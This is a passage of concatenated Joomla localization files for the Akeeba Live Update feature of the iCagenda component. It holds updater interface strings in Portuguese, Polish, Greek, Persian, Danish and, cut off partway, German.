LIVEUPDATE_NOUPDATES_HEAD="Existe uma nova versão disponível"
LIVEUPDATE_CURRENTVERSION="Versão instalada"
LIVEUPDATE_LATESTVERSION="Última versão"
LIVEUPDATE_LATESTRELEASED="Data da última versão"
LIVEUPDATE_DOWNLOADURL="URL de transferência direta"

LIVEUPDATE_REFRESH_INFO="Atualizar as informações de atualização"
LIVEUPDATE_DO_UPDATE="Atualizar para versão mais recente"

LIVEUPDATE_FTP_REQUIRED="O atualizador direto indica necessitar de utilizar o FTP para descarregar e instalar a sua atualização, mas você não indicou as suas informações de autenticação FTP na Configuração Global do Joomla!.<br/><br/>Por favor, indique abaixo o nome de utilizador e senha FTP para prosseguir com a atualização."
LIVEUPDATE_FTP="Informação de FTP"
LIVEUPDATE_FTPUSERNAME="Nome de utilizador FTP"
LIVEUPDATE_FTPPASSWORD="Senha FTP"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Transferir e instalar atualização"

LIVEUPDATE_DOWNLOAD_FAILED="A transferência do pacote de atualização falhou. Certifique-se de que a pasta TEMP é editável ou que ativou as opções de FTP do Joomla nas configurações globais de seu sítio."
LIVEUPDATE_EXTRACT_FAILED="A extração do pacote de atualização falhou. Por favor tente atualizar a extensão manualmente."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Tipo de pacote inválido. A atualização não pode continuar."
LIVEUPDATE_INSTALLEXT="Instalar %s %s"
LIVEUPDATE_ERROR="Erro"
LIVEUPDATE_SUCCESS="Sucesso"

LIVEUPDATE_ICON_UNSUPPORTED="Atualização direta não suportada"
LIVEUPDATE_ICON_CRASHED="Atualização direta bloqueou"
LIVEUPDATE_ICON_CURRENT="Tem a versão mais recente"
LIVEUPDATE_ICON_UPDATES="ATUALIZAÇÃO ENCONTRADA! Clique para atualizar."

LIVEUPDATE_RELEASEINFO="Informação"
LIVEUPDATE_RELEASENOTES="Notas da versão"
LIVEUPDATE_READMOREINFO="Ver mais"

LIVEUPDATE_NAGSCREEN_HEAD="ATENÇÃO: Está prestes a instalar uma versão não estável!"
LIVEUPDATE_NAGSCREEN_BODY="Está prestes a instalar uma versão instável (%s - %s). Versões instáveis destinam-se a programadores avançados já que podem ​​podem ter sofrido testes mínimos ou mesmo nenhuns e conter falhas desconhecidas que podem ter um efeito adverso grave à estabilidade e funcionalidade do seu sítio. Se não tiver a certeza sobre o que está prestes a fazer, por favor, feche esta janela. Se estiver certo dos riscos envolvidos com a instalação de versões instáveis​​, então clique no botão abaixo para continuar a instalação desta versão instável."
LIVEUPDATE_NAGSCREEN_BUTTON="Compreendo os riscos. Continuar com a instalação."

LIVEUPDATE_STABILITY_ALPHA="Alfa"
LIVEUPDATE_STABILITY_BETA="Beta"
LIVEUPDATE_STABILITY_RC="RC"
LIVEUPDATE_STABILITY_STABLE="Estável"
LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/pt-BR/pt-BR.liveupdate.ini000060400000010467152455305300017602 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Actualização ao vivo"

LIVEUPDATE_NOTSUPPORTED_HEAD="A atualização ao vivo não esta suportada neste servidor"
LIVEUPDATE_NOTSUPPORTED_INFO="O servidor indica que Atualização ao Vivo não é compatível. Entre em contato com seu Hosting e solicite que permitam a extensão  cURL PHP ou desativem o URL fopen(). Se estão já desabilitadas, por favor, solicite que configurem seu firewall para que permita o acesso do seguinte endereço URL:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sempre é possível atualizar <var>%s</var>, visite nosso site manualmente, baixe a última versão e instale usando o instalador de extensões Joomla!."

LIVEUPDATE_STUCK_HEAD="Actualização ao Vivo marcou como se danificou"
LIVEUPDATE_STUCK_INFO="Live Update determinou que foi danificado a última vez que tratou de contatar com o servidor de atualizações. Isto d emodo geral indica uma série de bloqueios ativos de comunicação com sites externos. Se deseja voltar a tentar buscar a informação de atualização, por favor clique em 'Atualizar informação de atualização' no botão abaixo. Em caso de ontér uma página em branco como resultado, por favor contate com seu Hosting e informe sobre este tema."

LIVEUPDATE_ERROR_NEEDSAUTH="Tem que facilitar seu nome de usuário/senha ou ID de download nos parâmetros do componente antes de tentar atualizar a última versão. O botão de atualização permanecerá desativado até que não realize esta ação."
LIVEUPDATE_HASUPDATES_HEAD="Existe uma versão nova disponível"
LIVEUPDATE_NOUPDATES_HEAD="Você já tem a última versão"
LIVEUPDATE_CURRENTVERSION="Versão instalada"
LIVEUPDATE_LATESTVERSION="Última versão"
LIVEUPDATE_LATESTRELEASED="Data do último lançamento"
LIVEUPDATE_DOWNLOADURL="URL de download direto"

LIVEUPDATE_REFRESH_INFO="Refrescar a informação de atualização"
LIVEUPDATE_DO_UPDATE="Atualizar a última versão"

LIVEUPDATE_FTP_REQUIRED="Live Update determina que é necessário o uso de FTP para baixar e instalar a atualização, mas não guardou sua informação de acesso FTP em seu site Joomla!, em Configuração Global. <br/><br/> Indique o nome de usuário FTP e senha para continuar com a atualização."
LIVEUPDATE_FTP="Informação FTP"
LIVEUPDATE_FTPUSERNAME="Usuário FTP"
LIVEUPDATE_FTPPASSWORD="Senha FTP"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Baixar e instalar a atualização"

LIVEUPDATE_DOWNLOAD_FAILED="O download do pacote de atualização falhou. Assegure-se que seu diretório  /tmp pode escrever ou que habilitou as opções de FTP na Configuração Global do seu site Joomla!"
LIVEUPDATE_EXTRACT_FAILED="Falhou a descompressão do pacote de atualização. Por favor, tente atualizar a extensão manualmente."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Tipo de pacote não é válido. A atualização não pode continuar."
LIVEUPDATE_INSTALLEXT="Instale %s %s"
LIVEUPDATE_ERROR="Erro"
LIVEUPDATE_SUCCESS="Êxito"

LIVEUPDATE_ICON_UNSUPPORTED="Atualização ao Vivo não suportadactualización en Vivo no soportada"
LIVEUPDATE_ICON_CRASHED="Atualização ao Vivo foi danificada"
LIVEUPDATE_ICON_CURRENT="Você tem a última versão"
LIVEUPDATE_ICON_UPDATES="ATUALIZAÇÃO ENCONTRADA! CLIQUE PARA ATUALIZAR."

LIVEUPDATE_RELEASEINFO="Informações"
LIVEUPDATE_RELEASENOTES="Notas de lançamento"
LIVEUPDATE_READMOREINFO="Leia mais"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/pl-PL/pl-PL.liveupdate.ini000060400000010403152455305300017570 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Aktualizacja"

LIVEUPDATE_NOTSUPPORTED_HEAD="Aktualizacja nie jest obsługiwana na tym serwerze"
LIVEUPDATE_NOTSUPPORTED_INFO="Twój serwer sygnalizuje, że Aktualizacja nie jest obsługiwana. Proszę skontaktować się administratorem hosta i poprosić o włączenie rozszerzenia cURL PHP albo aktywowanie URL fopen() wrappers. Jeżeli te są już włączone, poproś o skonfigurowanie firewalla tak, by umożliwił dostęp do następującego adresu URL:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Zawsze można zaktualizować <var>%s</var> odwiedzając naszeą witrynę ręcznie, pobranie najnowszej wersji i instalacji za pomocą instalatora rozszerzeń Joomla!."

LIVEUPDATE_STUCK_HEAD="Aktualizacja oznaczona jako niepowodzenie"
LIVEUPDATE_STUCK_INFO="Aktualizacja zaznacza o niepowodzeniu podczas ostatniej próby kontaktu z serwerem aktualizacji. To zwykle wskazuje na hosta, który aktywnie blokuje komunikacje z zewnętrznymi stronami. Jeśli chcesz ponowić próbę pobierania informacje o aktualizacji, kliknij przycisk "_QQ_"Odśwież informacje o aktualizacji"_QQ_" poniżej. Jeśli wynikiem jest pusta strona, proszę skontaktować się z administracją hosta i zgłosić ten problem."

LIVEUPDATE_ERROR_NEEDSAUTH="Musisz podać swój login/hasło lub Download ID w parametrach komponentu przed próbą aktualizacji do najnowszej wersji. Przycisk aktualizacji pozostanie wyłączony do czasu aż to zrobisz."
LIVEUPDATE_HASUPDATES_HEAD="Nowa wersja jest dostępna"
LIVEUPDATE_NOUPDATES_HEAD="Masz już najnowszą wersję"
LIVEUPDATE_CURRENTVERSION="Zainstalowana wersja"
LIVEUPDATE_LATESTVERSION="Najnowsza wersja"
LIVEUPDATE_LATESTRELEASED="Data najnowszej wersji"
LIVEUPDATE_DOWNLOADURL="URL bezpośredniego pobierania"

LIVEUPDATE_REFRESH_INFO="Odśwież informacje o aktualizacji"
LIVEUPDATE_DO_UPDATE="Aktualizacja do najnowszej wersji"

LIVEUPDATE_FTP_REQUIRED="Aktualizacja zaznacza, że musi korzystać z protokołu FTP w celu pobrania i zainstalowania aktualizacji, ale nie zostały wcześniej zapisane dane logowania FTP w twojej Konfiguracji Globalnej Joomla!.<br/><br/>Prosimy o podanie nazwy użytkownika i hasła FTP poniżej, aby kontynuować aktualizację."
LIVEUPDATE_FTP="Informacje FTP"
LIVEUPDATE_FTPUSERNAME="Login FTP"
LIVEUPDATE_FTPPASSWORD="Hasło FTP"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Pobierz i zainstaluj aktualizację"

LIVEUPDATE_DOWNLOAD_FAILED="Pobranie pakietu aktualizacji nie powiodło się. Upewnij się, że katalog tymczasowy jest zapisywalny lub, że masz włączoną opcję FTP Joomla! w Konfiguracji Globalnej twojej witryny."
LIVEUPDATE_EXTRACT_FAILED="Rozpakowanie pakietu aktualizacji nie powiodło się. Proszę spróbować aktualizacji rozszerzenia ręcznie."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Nieprawidłowy typ pakietu. Aktualizacja nie może być kontynuowana."
LIVEUPDATE_INSTALLEXT="Instalacja %s %s"
LIVEUPDATE_ERROR="Błąd"
LIVEUPDATE_SUCCESS="Powodzenie"

LIVEUPDATE_ICON_UNSUPPORTED="Aktualizacja nie jest obsługiwana"
LIVEUPDATE_ICON_CRASHED="Aktualizacja nie powiodła się"
LIVEUPDATE_ICON_CURRENT="Masz najnowszą wersję"
LIVEUPDATE_ICON_UPDATES="ZNALEZIONO AKTUALIZACJĘ! Kliknij!."

; LIVEUPDATE_RELEASEINFO="Information"
; LIVEUPDATE_RELEASENOTES="Release notes"
; LIVEUPDATE_READMOREINFO="Read more"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/el-GR/el-GR.liveupdate.ini000060400000016556152455305300017553 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Απευθείας Ενημέρωση"

LIVEUPDATE_NOTSUPPORTED_HEAD="Η Απευθείας Ενημέρωση δεν υποστηρίζεται από αυτόν τον διακομιστή"
LIVEUPDATE_NOTSUPPORTED_INFO="Ο διακομιστής σας δείχνει ότι η Απευθείας Ενημέρωση δεν υποστηρίζεται. Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε του να ενεργοποιήσει την επέκταση cURL της PHP ή τους URL fopen() wrappers. Εάν είναι ήδη ενεργοποιημένα, παρακαλώ ζητήστε του να ανοίξει το τείχος ασφαλείας ώστε να επιτρέπει την πρόσβαση στην παρακάτω διεύθυνση URL:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Μπορείτε πάντα να ενημερώστε το λογισμικό <var>%s</var> επισκεπτόμενοι τον ιστότοπό μας, κατεβάζοντας την τελευταία έκδοση και εγκαθιστόντας την με την εγκατάσταση εφαρμογών του Joomla!."

LIVEUPDATE_STUCK_HEAD="Η Απευθείας Ενημέρωση ανίχνευσε αποτυχία λειτουργίας"
LIVEUPDATE_STUCK_INFO="Η Απευθείας Ενημέρωση εντόπισε ότι η τελευταία απόπειρα επικοινωνίας με τον διακομιστή ενημερώσεων κατέληξε σε κόλλημα. Αυτό συνήθως υποδυκνείει έναν πάροχο φιλοξενίας που μπλοκάρει ενεργά τις προσπάθειες επικοινωνίας με εξωετρικούς ιστοχώρους. Εάν θα θέλατε να δοκιμάσετε να ξαναπροσπαθήσουμε να λάβουμε τις πληροφορίες ενημέρωσεις, παρακαλώ κάντε κλικ στο κουμπί "_QQ_"Ανανέωση πληροφοριών ενημερώσεων"_QQ_" πιο κάτω. Εάν αυτό οδηγήσει σε λευκή σελίδα, παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας και αναφέρετε αυτό το πρόβλημα."

LIVEUPDATE_ERROR_NEEDSAUTH="Πρέπει να εισάγετε το όνομα χρήστη και συνθηματικό ή το Αναγνωριστικό Μεταφόρτωσης στις παραμέτρους της εφαρμογής πριν προσπαθήσετε να αναβαθμίσετε στην τελευταία έκδοση. Το κουμπί ενημέρωσης θα παραμείνει ανενεργό έως ότου το κάνετε."
LIVEUPDATE_HASUPDATES_HEAD="Μια νέα έκδοση είναι διαθέσιμη"
LIVEUPDATE_NOUPDATES_HEAD="Έχετε ήδη την τελευταία έκδοση"
LIVEUPDATE_CURRENTVERSION="Εγκατεστημένη έκδοση"
LIVEUPDATE_LATESTVERSION="Τελευταία έκδοση"
LIVEUPDATE_LATESTRELEASED="Ημερομηνία έκδοσης"
LIVEUPDATE_DOWNLOADURL="Διεύθυνση απευθείας μεταφόρτωσης"

LIVEUPDATE_REFRESH_INFO="Ανανέωση πληροφοριών ενημερώσεων"
LIVEUPDATE_DO_UPDATE="Ενημέρωση στην τελευταία έκδοση"

LIVEUPDATE_FTP_REQUIRED="Η Απευθείας Ενημέρωση εντόπισε ότι απαιτείται η χρήση FTP για να μεταφορτώσει και να εγκαταστήσει την ενημέρωσή σας, αλλά δεν έχετε σώσει τις πληροφορίες εισόδου στο FTP στις Γενικές Ρυθμίσεις του Joomla!.<br/><br/>Παρακαλώ εισάγετε το όνομα χρήστη και το συνθηματικό για το FTP προκειμένου να προχωρήσετε με την ενημέρωση."
LIVEUPDATE_FTP="Πληροφορίες FTP"
LIVEUPDATE_FTPUSERNAME="Όνομα Χρήστη FTP"
LIVEUPDATE_FTPPASSWORD="Συνθηματικό FTP"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Μεταφόρτωση και εγκατάσταση ενημέρωσης"

LIVEUPDATE_DOWNLOAD_FAILED="Η μεταφόρτωση του πακέτου ενημέρωσης απέτυχε. Παρακαλώ βεβαιωθείτε ότι ο κάταλογος προσωρινής αποθήκευσης είναι εγγράψιμος ή ότι έχετε ενεργοποιήσει τις επιλογές FTP στις Γενικές Ρυθμίσεις του ιστοχώρου σας."
LIVEUPDATE_EXTRACT_FAILED="Η αποσυμπίεση του πακέτου αναβάθμισης απέτυχε. Παρακαλώ δοκιμάστε να εγκαταστήσετε την επέκταση χειροκίνητα."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Ο τύπος του πακέτου δεν είναι έγκυρος. Η αναβάθμιση δεν μπορεί να συνεχίσει."
LIVEUPDATE_INSTALLEXT="Εγκατάσταση %s %s"
LIVEUPDATE_ERROR="Σφάλμα"
LIVEUPDATE_SUCCESS="Επιτυχία"

LIVEUPDATE_ICON_UNSUPPORTED="Η Απευθείας Ενημέρωση δεν υποστηρίζεται"
LIVEUPDATE_ICON_CRASHED="Η Απευθείας Ενημέρωση κόλλησε"
LIVEUPDATE_ICON_CURRENT="Έχετε την τελευταία έκδοση"
LIVEUPDATE_ICON_UPDATES="ΒΡΕΘΗΚΕ ΕΝΗΜΕΡΩΣΗ! ΚΑΝΤΕ ΚΛΙΚ ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ."

LIVEUPDATE_RELEASEINFO="Πληροφορίες"
LIVEUPDATE_RELEASENOTES="Σημειώσεις έκδοσης"
LIVEUPDATE_READMOREINFO="Διαβάστε περισσότερα"

LIVEUPDATE_NAGSCREEN_HEAD="ΠΡΟΣΟΧΗ! Πρόκειται να εγκαταστήσετε μια ασταθή έκδοση."
LIVEUPDATE_NAGSCREEN_BODY="Πρόκειται να εγκαταστήσετε μια ασταθή έκδοση (%s - %s). Οι ασταθείς εκδόσεις μπορεί να έχουν υποβληθεί σε ελάχιστο ή περιορισμένο ποιοτικό έλεγχο και να περιέχουν σφάλματα που μπορεί να έχουν σοβαρές παρενέργειες στην σταθερότητα και λειτουργία τουιστοχώρου σας. Εάν δεν είστε βέβαιος για αυτό που πρόκειται να κάνετε, παρακαλώ κλείστε αυτό το παράθυρο του περιηγητή σας. Εάν κατανοείτε πλήρως τους κινδύνους που συνοδεύουν την εγκατάσταση ασταθών εκδόσεων παρακαλώ κάντε κλικ στο παρακάτω κουμπί για να συνεχίσετε την εγκατάσταση αυτής της ασταθούς έκδοσης."
LIVEUPDATE_NAGSCREEN_BUTTON="Καταννοώ τους κινδύνους. Συνέχισε την εγκατάσταση."

LIVEUPDATE_STABILITY_ALPHA="Άλφα"
LIVEUPDATE_STABILITY_BETA="Βήτα"
LIVEUPDATE_STABILITY_RC="Υποψήφια Έκδοσης"
LIVEUPDATE_STABILITY_STABLE="Σταθερή"
LIVEUPDATE_STABILITY_SVN="Έκδοση Προγραμματιστή"com_icagenda/liveupdate/language/fa-IR/fa-IR.liveupdate.ini000060400000013745152455305300017530 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="به روز رسانی آنلاین"

LIVEUPDATE_NOTSUPPORTED_HEAD="به روز رسانی آنلاین در این سرور پشتیبانی نمی شود"
LIVEUPDATE_NOTSUPPORTED_INFO="سرور شما نشان می دهد که به روز رسانی آنلاین پشتیبانی نمی شود. لطفا با میزبان خود تماس بگیرید و از آن ها بخواهید که افزونه cURL یا URL fopen() wrapper را در PHP فعال نمایند. اگر این در حال حاضر فعال است، لطفا از آن ها بخواهید که پیکربندی فایروال خود را به طوری که اجازه دسترسی به این آدرس را بدهد تنظیم نمایند:"
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="شما همچنین می توانید با مراجعه به سایت ما و دانلود آخرین نسخه و نصب آن از طریق نصب کننده جوملا اقدام به به روز رسانی <var>%s</var> نمایید."

LIVEUPDATE_STUCK_HEAD="به روز رسانی آنلاین با مشکل مواجه شد."
LIVEUPDATE_STUCK_INFO="به روز رسانی آنلاین در آخرین باری که تلاش برای ارتباط با سرور به روز رسانی نموده است، با مشکل مواجه شد. این معمولا در مورد میزبان هایی به وجود می آید که ارتباط با سایت های دیگر را مسدود می نمایند. در صورتی که می خواهید اطلاعات به روز رسانی را مجددا دریافت نمایید، روی دکمه "_QQ_"بازیابی مجدد اطلاعات به روز رسانی"_QQ_" در زیر کلیک نمایید. در صورتی که با صفحه ی خالی مواجه شدید، با میزبان خود تماس حاصل نموده و مشکل را گزارش دهید."

LIVEUPDATE_ERROR_NEEDSAUTH="شما می بایستی نام کاربری/رمز عبور یا شناسه دانلود خود را قبل از تلاش برای به روز رسانی به نسخه نهایی در تنظیمات کامپوننت وارد نمایید. دکمه به روز رسانی تا وقتی که شما این کار را انجام دهید غیرفعال خواهد ماند."
LIVEUPDATE_HASUPDATES_HEAD="نسخه جدیدی موجود می باشد"
LIVEUPDATE_NOUPDATES_HEAD="نسخه شما به روز می باشد"
LIVEUPDATE_CURRENTVERSION="نسخه نصب شده"
LIVEUPDATE_LATESTVERSION="آخرین نسخه"
LIVEUPDATE_LATESTRELEASED="تاریخ آخرین نسخه"
LIVEUPDATE_DOWNLOADURL="آدرس دانلود مستقیم"

LIVEUPDATE_REFRESH_INFO="بارگزاری مجدد اطلاعات به روز رسانی"
LIVEUPDATE_DO_UPDATE="به روز رسانی به آخرین نسخه"

LIVEUPDATE_FTP_REQUIRED="به روز رسانی آنلاین تشخیص داده است که شما برای دانلود و نصب به روز رسانی، می بایستی از FTP استفاده نمایید، ولی شما اطلاعات ورود FTP را در تنظیمات سراسری جوملا وارد نکرده اید.<br/><br/>لطفا نام کاربری و رمز عبور FTP را جهت اجرای عملیات به روز رسانی در قسمت های زیر وارد نمایید."
LIVEUPDATE_FTP="اطلاعات FTP"
LIVEUPDATE_FTPUSERNAME="نام کاربری FTP"
LIVEUPDATE_FTPPASSWORD="رمز عبور FTP"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="دانلود و نصب به روز رسانی"

LIVEUPDATE_DOWNLOAD_FAILED="دانلود فایل به روز رسانی با شکست مواجه شد. جهت رفع این مشکل بررسی نمایید که پوشه موقت سایتتان (temp) قابل نوشتن بوده و یا تنظیمات FTP جوملا را در تنظیمات سراسری سایت فعال کرده باشید."
LIVEUPDATE_EXTRACT_FAILED="استخراج فایل به روز رسانی از حالت فشرده با شکست مواجه شد. لطفا افزونه را به طور دستی به روز رسانی نمایید."

LIVEUPDATE_INVALID_PACKAGE_TYPE="نوع فایل نامعتبر می باشد. عملیات به روز رسانی قابل اجرا نمی باشد."
LIVEUPDATE_INSTALLEXT="نصب %s %s"
LIVEUPDATE_ERROR="خطا"
LIVEUPDATE_SUCCESS="انجام شد"

LIVEUPDATE_ICON_UNSUPPORTED="به روز رسانی آنلاین پشتیبانی نمی شود"
LIVEUPDATE_ICON_CRASHED="به روز رسانی آنلاین به خطا مواجه شد"
LIVEUPDATE_ICON_CURRENT="نسخه شما به روز می باشد"
LIVEUPDATE_ICON_UPDATES="به روز رسانی جدیدی یافت شد! جهت به روز رسانی کلیک نمایید."

LIVEUPDATE_RELEASEINFO="اطلاعات"
LIVEUPDATE_RELEASENOTES="اطلاعات نسخه"
LIVEUPDATE_READMOREINFO="مطالعه بیشتر"

LIVEUPDATE_NAGSCREEN_HEAD="اخطار! شما در حال نصب نسخه ای ناپایدار هستید."
LIVEUPDATE_NAGSCREEN_BODY="شما در حال نصب نسخه ای ناپایدار هستید (%s - %s). نسخه های ناپایدار ممکن است تحت آزمایش کم و یا هیچ بوده باشند و عوارض جانبی جدی برای پایداری سایت شما داشته باشند. در صورتی که اطلاعاتی در این مورد ندارید، لطفا این صفحه را ببندید. و در صورتی که از ریسک این موضوع مطلع هستید و می خواهید ادامه دهید، روی دکمه زیر جهت ادامه نصب این نسخه ناپایدار کلیک نمایید."
LIVEUPDATE_NAGSCREEN_BUTTON="از خطرات این عمل آگاه هستم. عملیات نصب را ادامه بده."

LIVEUPDATE_STABILITY_ALPHA="آلفا"
LIVEUPDATE_STABILITY_BETA="بتا"
LIVEUPDATE_STABILITY_RC="کاندید"
LIVEUPDATE_STABILITY_STABLE="پایدار"
LIVEUPDATE_STABILITY_SVN="svn"com_icagenda/liveupdate/language/da-DK/da-DK.liveupdate.ini000060400000010201152455305300017454 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Live Opdatering"

LIVEUPDATE_NOTSUPPORTED_HEAD="Live opdatering understøttes ikke af denne server"
LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live opdatering ikke er understøttet. Kontakt venligst din udbyder og spørg dem om at aktivere cURL PHP udvidelsen eller aktivere URL fopen() wrappers. Hvis disse allerede er aktive, så spørg dem venligst om at konfigurere deres firewall, således at den tillader adgang til følgende :"
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan altid opdatere <var>%s</var> ved at besøge vores hjemmeside manuelt og hente den seneste udgivelse og derefter installere den ved at bruge Joomla!'s udvidelsesinstalleren."

LIVEUPDATE_STUCK_HEAD="Live opdatering melder at den gik ned"
LIVEUPDATE_STUCK_INFO="Live opdatering opdagede at den gik ned sidste gang den prøvede at kontakte opdateringsserveren. Dette indikerer nomalt en udbyder der aktivt blokerer kommunikation med eksterne sider. Hvis du vil forsøge at hente opdateringsinformationen igen, klik da venligst på "_QQ_"Opdatér opdateringsinformation"_QQ_" herunder. Hvis det resulterer i en blank side, så kontakt venligst din udbyder og rapportér dette problem."

LIVEUPDATE_ERROR_NEEDSAUTH="Du skal angive dit brugernavn/adgangskode eller Overførsel's ID i komponenten's indstillinger, før du kan opdatere til den seneste version. Opdateringsknappen vil forblive inaktiv indtil da."
LIVEUPDATE_HASUPDATES_HEAD="En ny version er tilgængelig"
LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den seneste version"
LIVEUPDATE_CURRENTVERSION="Installeret version"
LIVEUPDATE_LATESTVERSION="Seneste version"
LIVEUPDATE_LATESTRELEASED="Seneste udgivelsesdato"
LIVEUPDATE_DOWNLOADURL="Direkte link"

LIVEUPDATE_REFRESH_INFO="Opdatér opdateringsinformation"
LIVEUPDATE_DO_UPDATE="Opdatér til seneste version"

LIVEUPDATE_FTP_REQUIRED="Live opdatering har opdaget at den skal bruge FTP for at kunne overføre og installere din opdatering, men du har ikke gemt en FTP log ind information i din Joomla!'s konfiguration.<br/><br/>Angiv venligst FTP brugernavn og adgangskode herunder for at fortsætte med opdateringen."
LIVEUPDATE_FTP="FTP information"
LIVEUPDATE_FTPUSERNAME="FTP Brugernavn"
LIVEUPDATE_FTPPASSWORD="FTP Adgangskode"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Overfør og installér opdatering"

LIVEUPDATE_DOWNLOAD_FAILED="Overførsel af opdateringspakken fejlede. Vær venligst sikker på der kan skrives til din midlertidige mappe og at du har aktiveret Joomla!'s FTP mulighed i Joomla!'s konfiguration."
LIVEUPDATE_EXTRACT_FAILED="Udpakning af opdateringspakken fejlede. Opdatér venligst udvidelsen manuelt."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Opdateringen kan ikke fortsætte."
LIVEUPDATE_INSTALLEXT="Installér %s %s"
LIVEUPDATE_ERROR="Fejl"
LIVEUPDATE_SUCCESS="Korrekt"

LIVEUPDATE_ICON_UNSUPPORTED="Live opdatering er ikke understøttet"
LIVEUPDATE_ICON_CRASHED="Live opdatering gik ned"
LIVEUPDATE_ICON_CURRENT="Du har den seneste version"
LIVEUPDATE_ICON_UPDATES="OPDATERING FUNDET! OPDATER NU."

; LIVEUPDATE_RELEASEINFO="Information"
; LIVEUPDATE_RELEASENOTES="Release notes"
; LIVEUPDATE_READMOREINFO="Read more"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/de-DE/de-DE.liveupdate.ini000060400000010750152455305300017461 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Echtzeitaktualisierung"

LIVEUPDATE_NOTSUPPORTED_HEAD="Die Echtzeitaktualisierung wird auf diesem Server nicht unterstützt"
LIVEUPDATE_NOTSUPPORTED_INFO="Ihr Server zeigt an, dass die Echtzeitaktualisierung nicht unterstützt wird. Bitte kontaktieren Sie Ihren Anbieter und bitten ihn, die cURL-PHP-Erweiterung zu aktivieren oder die URL fopen() Wrapper. Sollten diese schon aktviert sein, bitten Sie ihn, die Firewall so zu konfigurieren, dass sie den Zugriff auf folgende URL zulässt:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sie können immer aktualisieren <var>%s</var> indem Sie unsere Internetseite besuchen, die neueste Version herunterladen und ganz normal installieren."

